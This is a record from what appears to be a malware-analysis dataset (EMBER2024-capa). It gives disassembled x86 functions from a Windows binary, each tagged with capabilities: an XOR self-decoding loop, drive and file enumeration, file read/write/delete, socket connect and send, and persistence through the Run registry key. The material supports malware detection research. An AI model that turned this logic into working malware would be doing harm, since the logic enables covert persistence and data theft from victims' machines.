joyce8/EMBER2024-capa huggingface dataset:
Function at 0x415120
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [0x2b6f85c]
sub esp, 0x884
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetDateFormatW]
mov ebp, 0x2443831
cmp eax, 0x47
jne 0x4151a6
xor eax, eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x68], eax
mov dword [esp + 0x6c], eax
mov dword [esp + 0x70], eax
lea eax, [esp + 0x60]
push eax
lea ecx, [esp + 0x78]
push ecx
push 0x403974
mov dword [esp + 0x6c], 0
call esi
xor eax, eax
push eax
mov dword [esp + 0x56], eax
mov dword [esp + 0x5a], eax
mov dword [esp + 0x5e], eax
mov word [esp + 0x62], ax
lea eax, [esp + 0x94]
push eax
push 0x403988
xor edx, edx
lea ecx, [esp + 0x5c]
push ecx
push edx
push edx
mov word [esp + 0x68], dx
call edi
dec ebp
mov eax, dword [0x4453a8]
mov dword [0x2b6f85c], eax
jne 0x415145
mov dword [esp + 0x20], 0x764d11c7
mov dword [esp + 0x4c], 0x26b44f20
mov dword [esp + 0x24], 0x1f33c7de
mov dword [esp + 0x10], 0x2e56cff9
mov dword [esp + 0x28], 0x6cde8df8
mov dword [esp + 0x14], 0x796abd53
mov dword [esp + 0x34], 0x3ce56ad4
mov dword [esp + 0x1c], 0x581868fc
mov dword [esp + 0x18], 0xc596c70
mov dword [esp + 0x3c], 0x6d5e9115
mov dword [esp + 0x30], 0x22f372d9
mov dword [esp + 0x40], 0x2ad541d0
mov dword [esp + 0x38], 0x7a5f7c43
mov dword [esp + 0x2c], 0x28d520e
mov dword [esp + 0x48], 0x73f3bc07
mov dword [esp + 0x44], 0x51f578e1
add dword [esp + 0x4c], 0x73e38130
mov eax, 0x3a9c3a87
mul dword [esp + 0x20]
mov eax, dword [esp + 0x20]
add dword [esp + 0x24], 0x6b053f58
add dword [esp + 0x20], 0x2818faf9
add dword [esp + 0x4c], 0x3ab2fc3
sub dword [esp + 0x20], 0x30ad2d47
sub dword [esp + 0x20], 0x4442fc9b
sub dword [esp + 0x28], 0x2285667
add dword [esp + 0x4c], 0x262c99c6
sub dword [esp + 0x14], 0x4dc74448
mov eax, 0x53cf4e1b
mul dword [esp + 0x24]
mov eax, dword [esp + 0x24]
add dword [esp + 0x24], 0x1b067f32
mov eax, 0x67698c83
mul dword [esp + 0x14]
mov eax, dword [esp + 0x14]
sub dword [esp + 0x28], 0x7674af1e
mov eax, 0x173863dd
mul dword [esp + 0x28]
mov eax, dword [esp + 0x28]
mov eax, 0x3d786fdd
mul dword [esp + 0x3c]
mov eax, dword [esp + 0x3c]
mov eax, 0x38471b91
mul dword [esp + 0x14]
mov eax, dword [esp + 0x14]
mov eax, 0x45f07edf
mul dword [esp + 0x4c]
mov eax, dword [esp + 0x4c]
add dword [esp + 0x18], 0x6fea1ecd
sub dword [esp + 0x34], 0x32f1f16e
add dword [esp + 0x34], 0x6e380599
sub dword [esp + 0x18], 0x3ca08c1e
add dword [esp + 0x30], 0x154e8e1
add dword [esp + 0x14], 0x53bb032d
sub dword [esp + 0x14], 0x11166d6c
sub dword [esp + 0x18], 0x2a6a1594
add dword [esp + 0x14], 0x4fb1fe05
mov eax, 0x4b3ce8e6
mul dword [esp + 0x34]
mov eax, dword [esp + 0x34]
add dword [esp + 0x3c], 0x1bc84bb6
sub dword [esp + 0x30], 0x687c0c2b
add dword [esp + 0x48], 0x36e578c2
sub dword [esp + 0x10], 0x7b5e58ec
mov eax, 0x38d0a1fb
mul dword [esp + 0x48]
mov eax, dword [esp + 0x48]
sub dword [esp + 0x40], 0x15793cf4
mov edx, dword [0x44539c]
mov dword [0x2b6fc70], edx
call fcn.00414d30
pop edi
xor eax, eax
pop esi
pop ebp
mov esp, ebp
pop ebp
ret 0x10
Function at 0x433002
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
mov ecx, 0x35811362
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43304e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x7417e20
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x401000
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov byte [ebp - 1], 0x41
jmp 0x401022
mov al, byte [ebp - 1]
add al, 1
mov byte [ebp - 1], al
movsx ecx, byte [ebp - 1]
cmp ecx, 0x5a
jg 0x401102
movsx edx, byte [ebp - 1]
push edx
push 0x4082e0
lea eax, [ebp - 8]
push eax
call fcn.00401720
add esp, 0xc
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x401083
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x1c]
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcpy
add esp, 8
mov dword [ebp - 0x14], 3
push 0
push 0
push 0x10
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401980
mov dword [ebp - 0xc], eax
jmp 0x4010fd
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 5
jne 0x4010c1
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x1c]
push edx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcpy
add esp, 8
mov dword [ebp - 0x14], 5
push 0
push 0
push 0x10
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401980
mov dword [ebp - 0xc], eax
jmp 0x4010fd
lea edx, [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
jne 0x4010fd
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x1c]
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcpy
add esp, 8
mov dword [ebp - 0x14], 2
push 0
push 0
push 0x10
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00401980
mov dword [ebp - 0xc], eax
jmp 0x40101a
mov dword [ebp - 0x10], 1
push 0
push 0
push 0x10
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401980
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4
Function at 0x401130
Capabilities:
Enumerate files on windows
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x394
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x50], 0
mov eax, 1
imul ecx, eax, 0
mov byte [ebp + ecx - 0xd0], 0
mov edx, 1
imul eax, edx, 0
mov byte [ebp + eax - 0x44], 0
lea ecx, [ebp - 0x234]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x4011d3
mov dword [ebp - 0xd4], 1
push str._
lea eax, [ebp - 0xd0]
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcpy
add esp, 8
mov dword [ebp - 0x20], 1
push 0
push 0
push 0xb8
lea ecx, [ebp - 0xd4]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401980
nop
jmp 0x40135b
push 0x160
push 0
lea eax, [ebp - 0x394]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x510
push 0x160
lea ecx, [ebp - 0x394]
push ecx
push 0x80
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0xd0]
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcpy
add esp, 8
mov edx, dword [ebp - 0x234]
and edx, 0x10
je 0x401236
mov dword [ebp - 0x24], 1
jmp 0x40123d
mov dword [ebp - 0x24], 0
imul eax, dword [ebp - 0x218], 0xffffffff
add eax, dword [ebp - 0x214]
shr eax, 0xa
add eax, 1
mov dword [ebp - 0x50], eax
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [ebp - 0x220]
push edx
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
movzx edx, word [ebp - 8]
push edx
movzx eax, word [ebp - 0xa]
push eax
movzx ecx, word [ebp - 0xc]
push ecx
movzx edx, word [ebp - 0xe]
push edx
movzx eax, word [ebp - 0x12]
push eax
movzx ecx, word [ebp - 0x14]
push ecx
push str._4d__02d__02d__02d:_02d:_02d
lea edx, [ebp - 0xf4]
push edx
call fcn.00401720
add esp, 0x20
lea eax, [ebp - 0xf4]
push eax
lea ecx, [ebp - 0x44]
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcpy
add esp, 8
mov dword [ebp - 0x20], 1
push 0x408318
lea edx, [ebp - 0x208]
push edx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
add esp, 8
test eax, eax
je 0x4012ee
push 0x40831c
lea eax, [ebp - 0x208]
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
add esp, 8
test eax, eax
jne 0x4012f0
jmp 0x401317
push 0
push 0
push 0xb8
lea ecx, [ebp - 0xd4]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401980
nop
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x401317
jmp 0x401330
lea eax, [ebp - 0x234]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4011d3
mov dword [ebp - 0x20], 0
push 0
push 0
push 0xb8
lea edx, [ebp - 0xd4]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00401980
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
nop
mov esp, ebp
pop ebp
ret 8
Function at 0x401370
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x35c
push esi
push edi
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x38], 0
mov eax, 1
imul ecx, eax, 0
mov byte [ebp + ecx - 0xb8], 0
mov edx, 1
imul eax, edx, 0
mov byte [ebp + eax - 0x2c], 0
lea ecx, [ebp - 0x1fc]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 4], eax
push 0x160
push 0
lea eax, [ebp - 0x35c]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x510
push 0x160
lea ecx, [ebp - 0x35c]
push ecx
push 0x80
lea edx, [ebp - 0x1d0]
push edx
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0xb8]
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcpy
add esp, 8
imul edx, dword [ebp - 0x1e0], 0xffffffff
add edx, dword [ebp - 0x1dc]
mov dword [ebp - 0x38], edx
mov ecx, 0x2e
lea esi, [ebp - 0xbc]
mov edi, dword [ebp + 8]
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp + 8]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8

Function at 0x401450
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.004061f0
push 0x408324
lea eax, [ebp + 0x10]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40147f
xor al, al
jmp 0x40156a
mov dword [ebp - 8], 0
push 2
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
test eax, eax
je 0x4014af
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
xor al, al
jmp 0x40156a
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x4014d9
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
xor al, al
jmp 0x40156a
push 0
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
test eax, eax
je 0x4014ff
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
xor al, al
jmp 0x40156a
mov ecx, dword [ebp - 8]
mov dword [ebp + 0x90], ecx
mov edx, dword [ebp - 4]
push edx
push 0x1000
push 1
lea eax, [ebp - 0x100c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40155b
push 0
push 0
mov ecx, dword [ebp - 0xc]
push ecx
lea edx, [ebp - 0x100c]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00401980
test eax, eax
jne 0x401559
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
xor al, al
jmp 0x40156a
jmp 0x401508
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov al, 1
mov esp, ebp
pop ebp
ret 0xbc
Function at 0x401570
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.004061f0
mov byte [ebp - 9], 0
push 0x408320
lea eax, [ebp + 0x10]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4015a3
xor al, al
jmp 0x401704
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0x90]
jae 0x4016f5
mov edx, dword [ebp + 0x90]
sub edx, dword [ebp - 4]
cmp edx, 0x1000
jbe 0x40165e
push 0
push 0
push 0x1000
lea eax, [ebp - 0x100c]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401ae0
test eax, eax
jne 0x40160b
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
lea eax, [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor al, al
jmp 0x401704
mov ecx, dword [ebp - 8]
push ecx
push 0x1000
push 1
lea edx, [ebp - 0x100c]
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp eax, 0x1000
je 0x40164d
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
lea ecx, [ebp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor al, al
jmp 0x401704
mov edx, dword [ebp - 4]
add edx, 0x1000
mov dword [ebp - 4], edx
jmp 0x4016f0
push 0
push 0
mov eax, dword [ebp + 0x90]
sub eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x100c]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401ae0
test eax, eax
jne 0x40169d
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
lea ecx, [ebp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor al, al
jmp 0x401704
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp + 0x90]
sub eax, dword [ebp - 4]
push eax
push 1
lea ecx, [ebp - 0x100c]
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
mov edx, dword [ebp + 0x90]
sub edx, dword [ebp - 4]
cmp eax, edx
je 0x4016e7
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
lea ecx, [ebp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor al, al
jmp 0x401704
mov edx, dword [ebp + 0x90]
mov dword [ebp - 4], edx
jmp 0x4015aa
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov al, 1
mov esp, ebp
pop ebp
ret 0xbc

Function at 0x4017a0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a0
mov dword [ebp - 0x10], 0
mov eax, 1
mov word [ebp - 4], ax
mov ecx, 2
mov word [ebp - 8], cx
movzx edx, word [ebp - 4]
and edx, 0xff
movzx eax, dl
movzx ecx, word [ebp - 8]
and ecx, 0xff
movzx edx, cl
shl edx, 8
or eax, edx
mov word [ebp - 0xc], ax
lea eax, [ebp - 0x1a0]
push eax
movzx ecx, word [ebp - 0xc]
push ecx
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x401804
xor eax, eax
jmp 0x401809
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x401840
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 1
push 0
push 0
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x40186a
mov dword [ebp - 8], 0
jmp 0x401878
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
mov edx, dword [ebp - 4]
mov dword [ebp - 8], edx
mov eax, 1
mov esp, ebp
pop ebp
ret 4

Function at 0x401920
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x10], eax
mov ecx, 2
mov word [ebp - 0x14], cx
movzx edx, word [ebp + 0x10]
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
push 0x10
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401969
mov dword [ebp - 4], 0
jmp 0x401970
mov dword [ebp - 4], 1
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 0xc
Function at 0x401980
Capabilities:
Create thread
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x28], 0x14
mov eax, dword [ebp + 8]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
lea ecx, [ebp - 0x18]
push ecx
push 0
lea edx, [ebp - 0x28]
push edx
push 0x401cf0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4019cb
or eax, 0xffffffff
jmp 0x401ad9
mov dword [ebp - 8], 0xffffffff
cmp dword [ebp + 8], 0xffffffff
je 0x401abe
mov eax, dword [ebp + 0x10]
add eax, 3
push eax
call fcn.0040621b
add esp, 4
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 0x10]
add edx, 3
push edx
push 0
mov eax, dword [ebp - 4]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
movzx ecx, byte [ebp + 0x14]
test ecx, ecx
jne 0x401a4a
cmp dword [ebp + 0xc], 0
je 0x401a41
cmp dword [ebp + 0x18], 1
jne 0x401a26
mov edx, dword [ebp + 0x10]
add edx, 1
mov dword [ebp + 0x10], edx
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 8], eax
jmp 0x401a48
mov dword [ebp - 8], 0
jmp 0x401aac
mov ecx, 1
imul edx, ecx, 0
mov eax, dword [ebp - 4]
mov cl, byte [ebp + 0x14]
mov byte [eax + edx], cl
cmp dword [ebp + 0xc], 0
je 0x401a7a
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 4]
add ecx, 1
push ecx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
jmp 0x401a81
mov dword [ebp + 0x10], 0
cmp dword [ebp + 0x18], 1
jne 0x401a90
mov edx, dword [ebp + 0x10]
add edx, 1
mov dword [ebp + 0x10], edx
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x10]
add ecx, 1
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.00406224
add esp, 4
mov dword [ebp - 0x20], 1
cmp dword [ebp - 0x1c], 0
jne 0x401ad6
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
jmp 0x401ac5
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret 0x14
Function at 0x401f30
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x10]
push edx
call fcn.00402500
add esp, 0xc
movzx eax, al
test eax, eax
jne 0x401f87
call fcn.004024c0
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0x10]
push eax
call fcn.004025f0
add esp, 0xc
xor al, al
jmp 0x4020be
mov ecx, dword [ebp - 8]
push ecx
call fcn.00402440
add esp, 4
movzx edx, al
test edx, edx
jne 0x401fb1
push 0
push 0
mov eax, dword [ebp - 0x10]
push eax
call fcn.00402470
add esp, 0xc
xor al, al
jmp 0x4020be
cmp dword [0x40c50c], 0
je 0x402052
mov ecx, dword [ebp - 8]
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
mov esi, eax
mov edx, dword [0x40c50c]
push edx
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
lea eax, [esi + eax + 0xa]
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 8]
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
mov esi, eax
mov edx, dword [0x40c50c]
push edx
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
lea eax, [esi + eax + 0xa]
push eax
push 0
mov ecx, dword [ebp - 0xc]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0xc]
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcpy
add esp, 8
push 0x4083a0
mov ecx, dword [ebp - 0xc]
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 8
mov edx, dword [0x40c50c]
push edx
mov eax, dword [ebp - 0xc]
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 8
jmp 0x402058
mov ecx, dword [ebp - 8]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x14]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push connect
call fcn.004020d0
add esp, 0x10
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
test ecx, ecx
jne 0x402091
push 0
push 0
mov edx, dword [ebp - 0x10]
push edx
call fcn.00402470
add esp, 0xc
xor al, al
jmp 0x4020be
mov eax, dword [ebp - 8]
push eax
push 1
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.00402470
add esp, 0xc
call fcn.004024c0
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x10]
push ecx
call fcn.004025f0
add esp, 0xc
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4020d0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0
lea eax, [ebp - 8]
push eax
push 0
push 0xf013f
push 0
push 0
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x402104
xor al, al
jmp 0x402140
mov eax, dword [ebp + 0x14]
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
push eax
mov ecx, dword [ebp + 0x14]
push ecx
push 1
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x402134
xor al, al
jmp 0x402140
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x402360
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__access]
add esp, 8
test eax, eax
jne 0x402380
mov al, 1
jmp 0x402433
mov dword [ebp - 0x10], 0x1000
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov dword [ebp - 0xc], eax
push 0x408360
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4023cd
push 0x408364
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4023d1
xor al, al
jmp 0x402433
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0x10]
push edx
push 1
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jle 0x40240a
mov ecx, dword [ebp - 8]
push ecx
push 1
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
jmp 0x4023d1
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
mov al, 1
mov esp, ebp
pop ebp
ret